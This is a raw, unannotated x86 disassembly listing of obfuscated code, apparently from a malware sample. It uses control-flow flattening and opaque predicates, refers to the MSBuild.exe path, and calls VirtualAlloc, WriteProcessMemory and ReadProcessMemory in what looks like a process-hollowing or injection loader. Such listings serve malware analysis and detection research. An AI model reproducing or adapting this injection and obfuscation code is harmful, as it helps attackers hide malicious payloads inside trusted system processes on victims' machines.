mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf4d9652f
mov ecx, 0x5c169cb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x150], 0xf69c065
jmp 0x10004f69
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x119], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x150], 0xabe2012f
jmp 0x10004f69
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x150], 0x727cb77e
jmp 0x10004f69
mov dword [ebp - 0x150], 0x16d95e88
jmp 0x10004f69
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x100]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14c]
mov esi, dword [ebp - 0x100]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x14c]
mov edi, dword [ebp - 0x100]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x150], 0x32fedceb
jmp 0x10004f69
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x150], 0x8389b538
jmp 0x10004f69
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x150], 0xcf9f528a
jmp 0x10004f69
mov dword [ebp - 0x150], 0x93c50a2f
jmp 0x10004f69
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x150], 0x6c9205a6
jmp 0x10004f69
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x150], 0x32407eac
jmp 0x10004f69
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax]
add ecx, 0x1d6790eb
add ecx, eax
sub ecx, 0x1d6790eb
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf0]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0x6956e0d5
add ecx, eax
add ecx, 0x6956e0d5
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x150], 0x319059bf
jmp 0x10004f69
mov dword [ebp - 0x150], 0x7debaaa3
jmp 0x10004f69
mov dword [ebp - 0x150], 0xe1544d
jmp 0x10002120